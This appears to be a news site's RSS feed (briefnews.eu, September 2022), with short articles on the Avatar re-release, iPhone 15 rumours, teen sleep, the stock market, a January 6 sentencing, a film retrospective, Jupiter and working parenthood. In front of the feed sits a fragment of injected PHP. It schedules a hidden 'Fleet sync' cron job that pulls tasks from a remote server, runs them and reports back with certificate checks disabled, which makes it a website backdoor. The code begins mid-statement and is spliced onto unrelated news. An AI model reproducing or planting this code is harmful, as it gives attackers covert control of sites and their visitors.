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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); year’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 18:29:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png year’s – Brief News https://briefnews.eu 32 32 ‘Avatar’ was re-released in theaters again over the weekend, 13 years after it debuted — and the box office is a good sign for the upcoming sequel https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/#respond Mon, 26 Sep 2022 18:29:37 +0000 https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ avatar
"Avatar."

20th Century Fox

  • "Avatar" was re-released to theaters over the weekend ahead of the upcoming sequel.
  • It earned $ 30 million worldwide, $ 10 million of which came from North America.
  • It's a good sign for December's release of "Avatar: The Way of Water."

"Avatar" was the biggest movie in the world over the weekend — again.

James Cameron's 2009 sci-fi epic was re-released to theaters ahead of the December debut of its long-awaited sequel, "Avatar: The Way of Water." It grossed $ 30.5 million globally, $ 10 million of which came from North America.

The strong box office for the 13-year-old movie is a good sign for "The Way of Water's" chances.

"Avatar" is the biggest movie of all time, now with $ 2.878 billion at the worldwide box office, including $ 770.5 million domestically.

"Avengers: Endgame" briefly topped it in 2019, but "Avatar" reclaimed its crown after a re-release in China last year grossed $ 50 million.

"Avatar" was remastered for this re-release in 4K at a high-dynamic range and with enhanced sound. Imax screenings accounted for 20% of the global gross and 29% of the domestic take.

The lesson here is to never underestimate Cameron, who also directed "Titanic" — which was the world's biggest movie until "Avatar" dethroned it.

"'You know what? I made "Titanic." This building that we're meeting in right now, this new half-billion dollar complex on your lot? "Titanic" paid for that, so I get to do this,'" Cameron told the studio regarding changes it wanted to make to "Avatar," he said in a recent interview with The New York Times. "And afterward, they thanked me." 

The theatrical industry has a lot riding on "The Way of Water." After a promising summer, blockbuster tentpoles have been lacking in recent weeks. The only surefire hits coming to theaters the rest of the year are "Black Panther: Wakanda Forever" and "The Way of Water."

Because of the movie drought, studios have recently re-released other movies, such as "Spider-Man: No Way Home" and "Jaws." The former earned $ 6.5 million over the four-day Labor Day weekend in the US, and the latter made $ 3 million in that same period.

"Avatar" was up against the new release "Don't Worry Darling" over the weekend, which topped the US box office with $ 19 million after months of offscreen drama.

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]]> https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/feed/ 0 iPhone 15 ‘Ultra’ could replace next year’s Pro Max model https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/ https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/#respond Sun, 25 Sep 2022 22:02:25 +0000 https://briefnews.eu/iphone-15-ultra-could-replace-next-years-pro-max-model/ Next year’s iPhone could introduce a change to Apple’s naming convention. According to Bloombergreporter Mark Gurman, the company could call its largest and most expensive device in 2023 the iPhone 15 Ultra instead of the iPhone 15 Pro Max as you would expect given its recent track record. The shift would reportedly coincide with the most significant redesign of the iPhone since Apple released the iPhone 12 in 2019. Gurman expects the iPhone 15 to feature USB-C, among other “bigger changes.”

Apple’s smartphone line has seen a couple of branding tweaks over the years. In the early days of the iPhone, when the company released a substantial update every two years, iterative models carried an “S” designation. Since 2019 and the diversification of the line to include separate mainstream and premium variants, the company has employed “Pro” and “Pro Max” designations to market its most advanced phones. Moreover, earlier this year saw the return of the Plus branding, which Apple had not used since 2017. Dropping Pro Max in favor of Ultra would make a lot of sense since the Apple Watch line now includes an Ultra model.

The iPhone 15 rumor mill has already produced a few interesting predictions. Gurman previously reported that Apple was testing USB-C iPhones ahead of the European Union implementing a law requiring all new smartphones made after 2024 to feature the port. More recently, display analyst Ross Young said the entire iPhone 15 line would feature the iPhone 14 Pro’s Dynamic Island display cutout.

Looking to the more immediate future, Gurman also wrote today that Apple might not hold another event this fall. He says the company plans to announce new Mac mini, MacBook Pro and iPad Pro models before the end of the year. However, as those will be primarily iterative updates to existing devices, Gurman suggests Apple is “more likely” to share the existence of those products with the world through a series of press releases.

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If you went to high school in the US, you may recall early morning extracurriculars, sleeping through first period algebra, or bleary-eyed late-night study sessions (as opposed to other wide-awake “study sessions” we told our parents we were having). As an adult, you might wonder if there’s a better time to explore Shakespeare than at 8 am, or expand a Taylor series right after you collapsed into your chair, half-asleep from your sunrise bus ride.

As it turns out, early school start times for US high schools are built on a shaky scientific foundation, as journalist and parent Lisa Lewis lays out in her new book, The Sleep-Deprived Teen. She details why high schools in the US tend to start early, the science behind why that’s bad for kids, and how later school start times can benefit not only teenagers, but, well… everyone. Perhaps most importantly, she provides a primer on advocating for change in your community.

The wheels on the bus go round and round

Our early start times are a bit of a historical accident. In the first half of the 20th century, schools tended to be small and local—most students could walk. Lewis points out that in 1950, there were still 60,000 one-room schoolhouses around the country. By 1960, that number had dwindled to around 20,000.

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]]> https://briefnews.eu/were-your-teen-years-exhausting-school-schedules-may-be-why/feed/ 0 Why wiping out monkeypox could be impossible, with more outbreaks expected in the years ahead https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/ https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/#respond Sun, 25 Sep 2022 04:58:38 +0000 https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/ 1242666224

While cases of monkeypox are dropping, some scientists warn this virus will remain a global threat. And there’s a chance it could evolve in the years ahead in ways that might make it tougher to tackle.

]]> https://briefnews.eu/why-wiping-out-monkeypox-could-be-impossible-with-more-outbreaks-expected-in-the-years-ahead/feed/ 0 Netflix is set to reveal new trailers and details on its latest shows and movies during this year’s Tudum event — here’s how to watch https://briefnews.eu/netflix-is-set-to-reveal-new-trailers-and-details-on-its-latest-shows-and-movies-during-this-years-tudum-event-heres-how-to-watch/ https://briefnews.eu/netflix-is-set-to-reveal-new-trailers-and-details-on-its-latest-shows-and-movies-during-this-years-tudum-event-heres-how-to-watch/#respond Fri, 23 Sep 2022 23:41:55 +0000 https://briefnews.eu/netflix-is-set-to-reveal-new-trailers-and-details-on-its-latest-shows-and-movies-during-this-years-tudum-event-heres-how-to-watch/ When you buy through our links, Insider may earn an affiliate commission. Learn more.

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Tudum will feature popular shows and movies like "The Witcher," "Squid Game," and "Bridgerton."

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  • "Tudum: A Global Fan Event" is like an online convention for all things Netflix.
  • The livestream will feature trailers, news, and panels for the service's latest series and films.
  • You can watch all the news from the Tudum event live via Netflix's YouTube channel on September 24.

If you're looking for the latest news on all things Netflix, Tudum is a can't-miss livestream event.

The global online festival begins on September 24, when fans will be able to watch tons of announcements and new Netflix trailers. You can catch all of the action on Netflix's YouTube channel starting at 1 p.m. ET in the US. 

To help you prepare for Tudum, we broke down everything you need to know about streaming the event online, including details on start times and what new shows and movies you can expect to see highlighted. 

How to watch Netflix Tudum 2022

You can watch the Netflix Tudum 2022 livestream event on Netflix's YouTube channel. The event is split into five parts that will each focus on different countries' respective content releases. The main event for US fans begins at 1 p.m. ET on September 24.

Here's when to catch each of Tudum streams by country:

  • Tudum: Korea — 11 a.m. KST on September 24
  • Tudum: India — 11 a.m. IST on September 24
  • Tudum: A Global Fan Event Part One — 1 p.m. ET on September 24
  • Tudum: A Global Fan Event Part Two — 2:30 p.m. ET on September 24
  • Tudum: Japan — 1 p.m. JST on September 25

If you miss the event's premiere, you can watch the full recording anytime after the livestream on Netflix's YouTube channel. Keep an eye on the Tudum countdown and peep the schedule of events on the official Tudum website. 

What is Netflix's Tudum event?

Tudum is an annual Netflix event that's a lot like Comic-Con for Netflix fans. The online livestream features announcements, panels, and trailers focused on new shows and movies that are coming to the streaming service. 

Big names including Kevin Hart, Chris Hemsworth, Michelle Yeoh, and Lily Collins will appear during the 2022 event to discuss their upcoming releases. For avid Netflix watchers, the event is a must-see. 

What shows will Tudum 2022 feature?

Plenty of shows will be discussed and spotlighted as Tudum 2022 unfolds. Some big titles that have been confirmed include:

  • "Alice in Borderland"
  • "Berlin"
  • "Bridgerton"
  • "Elite"
  • "Emily in Paris"
  • "Heartstopper"
  • "Jojo's Bizarre Adventure Stone Ocean"
  • "Lupin"
  • "Manifest"
  • "Outer Banks"
  • "Shadow and Bone"
  • "Squid Game"
  • "Stranger Things"
  • "The Crown"
  • "The Witcher"

For a complete list of series, check out the official Tudum website. 

What movies will Tudum 2022 feature?

Tudum 2022 is a chance for filmmakers to talk about popular and upcoming titles with fans. Some movies being featured include:

  • "Beyond the Universe"
  • "Enola Holmes 2"
  • "Extraction 2"
  • "Glass Onion: A Knives Out Mystery"
  • "Guillermo del Toro's Pinocchio"
  • "Heart of Stone"
  • "Monica, O My Darling"
  • "Slumberland"
  • "The School for Good and Evil"
  • "They Cloned Tyrone"
  • "Your Place or Mine"

To see the full Tudum schedule and a more detailed list of movies being spotlighted, check out the official Tudum website. 

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]]> https://briefnews.eu/netflix-is-set-to-reveal-new-trailers-and-details-on-its-latest-shows-and-movies-during-this-years-tudum-event-heres-how-to-watch/feed/ 0 Goldman Sachs cuts its S&P 500 forecast, says stocks will drop over 4% by the year’s end as the Fed stays aggressive https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/ https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/#respond Fri, 23 Sep 2022 11:46:15 +0000 https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/ traders fed
Federal Reserve interest rate hikes will weigh on stocks this year, Goldman Sachs warned.

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  • Goldman Sachs on Friday slashed its end-of-year target for the S&P 500 to 3,600, a .
  • The Fed's aggressive approach to taming inflation will weigh on stocks, the bank said.
  • The benchmark US index has plummeted just under 21% as rising interest rates drive a sell-off.

Goldman Sachs has cut its year-end target for the S&P 500, predicting the benchmark US stock index will fall 4.2% as the Federal Reserve sticks to its aggressive tightening.

The Wall Street bank dropped the benchmark's three-month target from 4,300 to 3,600, and warned that the US central bank's fast pace of interest rate hikes will likely lead to further stock selloffs before the end of 2022.

"The expected path of interest rates is now higher than we previously assumed, which tilts the distribution of equity market outcomes below our prior forecast," the bank's strategists said in a note to clients Thursday. 

"The S&P 500 index actually reached our previous year-end target of 4,300 in mid-August, but the rate complex has subsequently shifted dramatically," added the team, led by chief US equity strategist David Kostin.

US stocks slipped after the Fed on Wednesday hiked interest rates by an outsized 75 basis points for the third time in a row. The S&P 500 closed 0.84% lower at 3,757.99 on Thursday, after hitting a two-month low of 3,749.35 during that session.

Investors have fretted about the interest rate hikes because of their potential impact on economic growth. 

The Goldman Sachs team warned the S&P 500 could fall as low as 3,400 if earnings of its listed companies decline and the Fed's attempts to curb red-hot inflation lead to a "hard landing", where the US suffers a recession.

"The outlook is unusually murky. The forward paths of inflation, economic growth, interest rates, earnings, and valuations are all in flux more than usual, with a wider distribution of potential outcomes," they said. 

But in the near term, Goldman Sachs expects investors will turn their focus to corporate earnings. In the third-quarter earnings season, record-high profit margins will be closely examined, its team said.

Stock investors have come round to the view that a hard landing for the US economy is inevitable, Goldman Sachs said, based on discussions with clients. 

"Most portfolio managers believe that in order to corral inflation, the Fed will have to hike rates sufficiently high that it will result in a US recession at some point during 2023," Kostin's team said.

The bank's strategists said its higher interest rate scenario implies the S&P 500 will still be at 3,600 in six months, but should rise 6% to 4,000 in 12 months.

Goldman Sachs expects another 75 basis point hike at the Fed's November meeting, followed by a 50 basis point rise in December. A hike of 25 basis points in February means policymakers are aiming to raise interest rates to between 4.5% and 4.75%.

Read more: Goldman Sachs says if the Fed nails a soft landing, don't expect interest rate cuts until something goes wrong

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]]> https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/feed/ 0 Nazi sympathizer insurrectionist who said January 6 was ‘exhilarating’ gets 4 years in prison in ‘significant’ sentence https://briefnews.eu/nazi-sympathizer-insurrectionist-who-said-january-6-was-exhilarating-gets-4-years-in-prison-in-significant-sentence/ https://briefnews.eu/nazi-sympathizer-insurrectionist-who-said-january-6-was-exhilarating-gets-4-years-in-prison-in-significant-sentence/#respond Fri, 23 Sep 2022 02:13:40 +0000 https://briefnews.eu/nazi-sympathizer-insurrectionist-who-said-january-6-was-exhilarating-gets-4-years-in-prison-in-significant-sentence/ timothy hale cusanelli hitler mustache
Images of Timothy Hale-Cusanelli, 30, sporting a Hitler mustache. These images were recovered from his cellphone by NCIS special agents.

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A former Army reservist, described by federal prosecutors as a Nazi sympathizer, was sentenced to four years in prison on Thursday for his role in the January 6 Capitol riot.

A jury in May found Timothy Hale-Cusanelli, 32, guilty of five counts related to the siege, including a felony charge of obstructing an official proceeding. In addition to four years behind bars, Hale-Cusanelli was also sentenced to three years of supervised release and a $ 2,000 fine.

US District Judge Trevor McFadden this week said Hale-Cusanelli's sentence was "significant," admonishing the New Jersey man for lying during his trial, when he claimed he didn't know that Congress met in the Capitol, despite telling his roommate that he stood outside House chambers during the attack.

McFadden also castigated Hale-Cusanelli, saying he believed that the defendant's antisemitic, racist, and sexist beliefs, in part, led Hale-Cusanelli to the Capitol on January 6.

Photos of Hale-Cusanelli sporting a Hitler-style mustache emerged following the riot, and an Insider investigation in March 2021 found that he liked to impersonate Adolph Hitler around his workplace at a Naval weapons station, espousing antisemitic remarks that left his colleagues intimidated.

Hale-Cusanelli had a deep internet history suggesting long-held white supremacist views and was also known to antagonize his local Jewish community, Insider's investigation found. 

Video from the insurrection shows Hale-Cusanelli encouraging the mob of Trump supporters to "advance" before he joined the crowd in illegally entering the Capitol.

Following the siege, Hale-Cusanelli described the experience as "exhilarating" and said he was "hoping for a civil war," according to prosecutors.

In court on Thursday, Hale-Cusanelli asked the judge for mercy, saying he had "disrespected" his uniform.

A lawyer for Hale-Cusanelli did not immediately respond to Insider's request for comment. 

At least 919 people have been arrested in connection to the siege and nearly 400 people have pleaded guilty.

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]]> https://briefnews.eu/nazi-sympathizer-insurrectionist-who-said-january-6-was-exhilarating-gets-4-years-in-prison-in-significant-sentence/feed/ 0 20 Years Later, Secretary Is Still The Best Kinky Romance Of The 2000s https://briefnews.eu/20-years-later-secretary-is-still-the-best-kinky-romance-of-the-2000s/ https://briefnews.eu/20-years-later-secretary-is-still-the-best-kinky-romance-of-the-2000s/#respond Tue, 20 Sep 2022 14:42:31 +0000 https://briefnews.eu/20-years-later-secretary-is-still-the-best-kinky-romance-of-the-2000s/

Hollywood has never had a healthy relationship with sex. Torn between leering salaciousness and code-mandated puritanism, the end results on-screen have often been messy, thematically conflicted, and deeply unsexy. Much has been made about the state of on-screen sensuality in 2022 and the blockbuster age, where ultra-muscular and fit bodies are fetishized yet entirely divorced from sex itself. As one viral article published last year in Blood Knife out it, “everyone is beautiful and no one is horny.”

Things are improving in small ways, mostly on streaming thanks to shows like “Bridgerton” that undeniably f***, but everything remains pretty limited in terms of what goes on between the sheets. Kink of any kind is still a no-go topic for screens big and small. While the highly profitable adaptation of the much-derided “Fifty Shades” trilogy was sold as a journey into the dark pleasure of BDSM, the end results were decidedly vanilla and not all that erotic. Besides, 15 years prior, another movie beat it at its own game.

Released in 2002, “Secretary” brought sadomasochism to the forefront in a uniquely quirky romantic drama that blew the dust off the entire rom-com genre. Directed by Steven Shainberg and adapted very loosely from a Mary Gaitskill short story by Erin Cressida Wilson, “Secretary” delved into the curiously well-functioning relationship between Lee Holloway (Maggie Gyllenhaal), an awkward misfit who becomes the secretary and submissive of E. Edward Grey, an eccentric lawyer confused by his own dominant desires (he is, of course, played by James Spader, and yes, people have long wondered if “Fifty Shades” writer E.L. James borrowed the name Grey for her own purposes.) Opening with a scene where Lee, strutting through the office and completing her mundane duties while wearing an arm bar that keeps her spread out like a cross, the film announces its intentions loud and proud.

Maggie Gyllenhaal And James Spader Have Chemistry To Burn

Maggie Gyllenhaal had her much-deserved breakout with “Secretary,” establishing her unique brand of knowing charm that so many films have failed to utilize effectively over the decades. Lee begins as a mouse of a woman, fresh from a mental hospital following an incident of self-harm that went wrong and living with her warring parents. She seeks employment for the very first time as a means of independence, even as her mother waits for her in the car all day to drive her back home. She seems delicate, ready to break once more, but Gyllenhaal imbues Lee with a quiet determination that soon blossoms into true confidence. It’s a Cinderella story with a touch of “Pygmalion,” if Henry Higgins enjoyed administrating a thorough spanking to Eliza Doolittle.

The case could easily be made that James Spader is the most unfettered representation of pure sexual depravity that American cinema has had over the past 30-plus years. “Secretary” feels like the happy ending to the unofficial deviant cinematic trilogy that includes “Sex, Lies, and Videotape” and “Crash.” While both of those films carry a far darker moral center, “Secretary” feels almost quaint by comparison. It’s a reminder of Hollywood’s squeamishness towards sex that “Secretary,” which doesn’t actually show that much sex, was considered so wholly raunchy when it premiered. The most striking Spader performances utilize his aura of worldly knowledge, that palpable sense that he truly has seen and done everything there is to experience. A blushing ingenue he is not!

Here, Spader is almost a Hugh Grant type, a rom-com hero with a slight bumbling edge (although Spader plays this nervousness with his typical combination of smarm and charm that has worked so well for close to four decades.) Grey isn’t always at ease with his desires and Spader’s skittishness brings his nervousness to the forefront. For an actor so good at embodying superego, it’s remarkably effective when he squirms to reveal a kind of naivety to Grey’s conundrum.

Their romance is, fittingly, a power play, but not one as straightforward as the dominant/submissive dynamic would suggest. Lee starts the story almost crushed by her own mental and familial struggles but these are not what make her an ideal sub for Grey. When she blooms into a confident and sensually assured woman, it makes Grey, who feels far less secure in his desires, feel off-center. She pursues him relentlessly in the third act, eager to prove to him that, yes, they can be a loving and committed couple who just so happen to enjoy a kinky dynamic 24/7. BDSM, typically portrayed on-screen as either a freakish spectacle or cartoonish self-parody, is something to be taken seriously here. Not too seriously, of course. “Secretary” has fun with Lee and Grey’s games, such as when he saddles her up like a horse atop his desk. Gyllenhaal and Spader have chemistry to burn, a kind of spark that is impossible to recreate without the right actors in place. It’s tough to imagine anyone else as Lee and Grey, let alone any 2022 movie star.

What Secretary Gets Right (And Wrong)

None of this is to say that “Secretary” is some glowing representation of BDSM or should be taken as gospel. While it’s leaps and bounds ahead of “Fifty Shades of Grey” in terms of the central dynamic, it’s still ultimately a fantasy that doesn’t always focus on laying out the ground rules for a safe and healthy dom/sub romance. You can certainly have a problem with that — and many do — although fans tend to be kinder to “Secretary” than E.L. James’ “Twilight” fan fiction because its fantasies have a sense of humor about them (such as when Lee serenely counts out the peas Edward has told her she can eat while her family look on in bemusement).

“Secretary” also succeeds over “Fifty Shades” because it’s not interested in justifying the characters’ sexual proclivities as acts of trauma that must be explained. Lee finds solace in submission as a way to cope with her mental illness but it’s a world away from the “Fifty Shades” series portraying a man’s dominant desires as the side effect of sexual abuse and a negligent mother. It’s not something to be “cured” to make way for missionary sex between man and wife with a baby in the next room. It’s not an either/or decision: you can have both. Lee and Grey keep up their dynamic and that’s the happy ending: two souls sharing a mutually beneficial love that doesn’t fit into the smothering restrictions of traditional marriage. A happy-ever-after is whatever best suits the central couple, a reflection of the ways that they have found space in one another’s lives for a future of bliss. Would that “Fifty Shades” had learned that lesson.

Twenty years later, “Secretary” still feels vibrant, sexy, romantic, and cut from a very different cloth. We’re seeing more on-screen sensuality nowadays but progress remains maddeningly incremental. You can’t help but wonder what’s taking them so long when “Secretary” made it all look so easy.

Read this next: 20 Underrated Rom Coms You Need To Watch

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When looking from Earth at a planet like Jupiter, the distance between the two planets will be shortest when the planets are in opposition. This means that Earth is directly between the sun and Jupiter, so as the sun sets in the west, Jupiter rises in the east. That’s the 13-month cycle of a typical opposition, but this opposition is unusual.

This photo of Jupiter, taken from the Hubble Space Telescope on June 27, 2019, features the Giant Red Spot, a storm the size of Earth that has been raging for hundreds of years.
This photo of Jupiter, taken from the Hubble Space Telescope on June 27, 2019, features the Giant Red Spot, a storm the size of Earth that has been raging for hundreds of years. NASA, ESA, A. Simon (Goddard Space Flight Center), and M.H. Wong (University of California, Berkeley)

That’s because all of the planets in the solar system orbit around the sun, but although these orbits are roughly circular they are not perfectly so. That means there are some times when they are closer to the sun (the closest point is called the perihelion), and some times when they are further away (with the further point called the aphelion). From our point of view, there are times when the orbit of Jupiter comes closer to Earth and times when it is more distant.

This month will see the opposition event coincide with Jupiter’s closest approach, with Jupiter coming within 365 million miles of Earth — as opposed to the 600 million miles of distance at its farthest point. That makes the next few weeks a great time for stargazers to look to Jupiter.

The closest approach will be throughout the night of Monday, September 26, but according to NASA astrophysicist Adam Kobelski, there will be great views before and after this date. “The views should be great for a few days before and after Sept. 26,” Kobelski said. “So, take advantage of good weather on either side of this date to take in the sight. Outside of the Moon, it should be one of the (if not the) brightest objects in the night sky.”

Those who have access to a telescope or binoculars should be able to get a great view of not only Jupiter but also its moons, according to astronomy site EarthSky.

“With good binoculars, the banding (at least the central band) and three or four of the Galilean satellites (moons) should be visible,” Kobelski advised. “It’s important to remember that Galileo observed these moons with 17th-century optics. One of the key needs will be a stable mount for whatever system you use.”

]]> https://briefnews.eu/this-month-get-a-great-view-of-jupiter-as-it-comes-its-closest-in-70-years/feed/ 0 I spent years writing about women at work. Then I had a baby — and an existential crisis. https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/#respond Sun, 18 Sep 2022 10:06:31 +0000 https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.
Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.

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  • I'm a careers-and-leadership reporter and I often write about women's experiences at work.
  • When I had a baby, I thought I'd be prepared for the transition to working parenthood. I wasn't.
  • It's challenging to reconcile my personal and professional identities, and I often feel I'm failing.

My husband and I were having a late dinner on our front patio, huddled over a staticky baby monitor, when I told him I wasn't sure about going back to work.

Our son was two months old. That meant it had been roughly a year — if you count a nearly 10-month-long pregnancy — since I'd been truly alone.

The baby and I spent the whole day, every day, together. I would nurse him for what seemed like hours, then he'd fall asleep and I'd hold him because he'd scream when I tried transferring him to his Mamaroo chair. At night, I'd hear him fussing on the monitor and half-consciously reach for him next to me, then panic when I couldn't feel him anywhere until I remembered he was in his bassinet.

In July, I was due to return to work after a four-month maternity leave. Because my job allowed for remote work, I'd arranged for a nanny who had worked for a family friend to watch my son during the day. But I didn't see how I'd be able to let someone else take care of him for that many hours at a time. 

Friends who had toddler-aged kids had told me I'd feel differently by the end of my leave, that I'd be more ready to start working again and to spend time away from the baby. Instead, I told my husband that night on the patio that I was rethinking my decision to start working again.

My husband reminded me of what I'd told him — many times — in the years before we had a kid. I wasn't planning to be a stay-at-home mom; I wanted to keep working. I was afraid to have motherhood subsume my identity. But it had taken four months of maternity leave to undo everything I thought I knew about myself as a professional.

"Now I feel differently," I told my husband. I wanted to be the one to attend to our son's cries, to take him to the park, to sing silly songs while he squirmed on the changing table. I couldn't do any of that, I told my husband, if I had another — paying — job.

The logistical challenges of working parenthood are only the beginning

Early on in the pandemic, I wrote regularly about the challenges of being a working parent, and in particular a working mother. I knew, based on talking with parents and experts, that it could be hard to balance the demands of your job with your kid's daycare schedule and that managers are often biased to see women as less promotable and less dedicated to their careers once they have children.

While writing a book about molding your work life to suit your interests and lifestyle, I spoke with many people about how becoming a parent had changed their approaches to work. Some stuck with a bad job because it paid their family's bills or tried to change careers because having a kid made them want to pursue something more impactful.

So when my husband and I decided to start a family, I assumed that all this knowledge would prepare me for the transition. But I didn't realize that beyond the logistical challenges, there was existential torture. I'm now trying to become the parent I think my kid needs while, at the same time, trying to squeeze myself back into the shape of the professional I think my colleagues are expecting me to be.

I feel like an impostor professional — and parent

When I returned to work, taking my therapist's suggestion to give it a chance, the transition was in many ways smoother than I'd anticipated. My managers gave me time to settle into my new work and home lives before I started publishing anything new. My coworkers asked excitedly about the baby's latest developmental milestones.

Still, I felt a nagging shadow of impostor syndrome, except instead of feeling like I was a fraud at my job, I worried that I'd eventually be exposed as — what? A mom who was relieved to do a few hours of knowledge work because it meant a reprieve from lifting and bouncing and picking up fallen toys with her toes? A professional who sometimes felt like she'd rather be hugging her kid than answering emails? Much of my transition to working parenthood has been like this, an ongoing experiment in self-flagellation and feeling alone.

I'm writing now from the pull-out couch in my son's room, the one on which I've often fallen asleep murmuring "shhh" at 3 a.m. I can hear my son playing happily downstairs with our doting nanny. I feel patently ridiculous sitting up here writing about how hard I find working motherhood when I have the extreme privilege of full-time childcare, a spacious home, and family nearby — as well as a job that allows me to work slumped over a pillow in ripped leggings.

I'm ashamed, too, that the trouble is solely with me. For all the time I spend questioning whether this setup — me working from home, my husband working from the office, a nanny taking care of our son for part of the day — is the best for our family, my son appears perfectly content most of the time. Not to mention that even if staying home would assuage some of my guilt, giving up my full-time salary would make it harder for me to offer my son all the opportunities I'd like to. 

This self-deprecating cycle has slowed, but hasn't stopped over the last two months I've been back at work. I find the only respite in doing whatever I'm supposed to be doing at the moment: reporting a story, responding to Slacks, feeding my son, laundering a load of onesies, knowing that eventually my thoughts will catch up with me, but that right now I'm OK.

Lying in front of the TV after my son has gone to bed, I text with girlfriends. I vent, I complain. I learn that my experience is not uncommon. "It gets easier," one tells me. "I promise." I'm not sure I believe her. But I've got a story to write and bottles to wash and, somewhere, the wisdom to know that as far as I may feel from whoever I was before, I am not alone.

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